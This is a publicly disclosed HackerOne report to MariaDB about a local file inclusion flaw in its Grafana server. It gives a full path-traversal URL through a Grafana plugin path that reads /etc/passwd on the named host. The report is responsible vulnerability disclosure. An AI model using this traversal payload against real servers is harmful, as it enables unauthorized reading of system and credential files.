MariaDB · Report #1419213

Grafana LFI on https://grafana.mariadb.org

Validstatus

mediumseverity

73upvotes

6 Jan 2022disclosed

How it was found

Hello team,

There is an LFI on https://grafana.mariadb.org/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd

{F1537157}

LFI

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original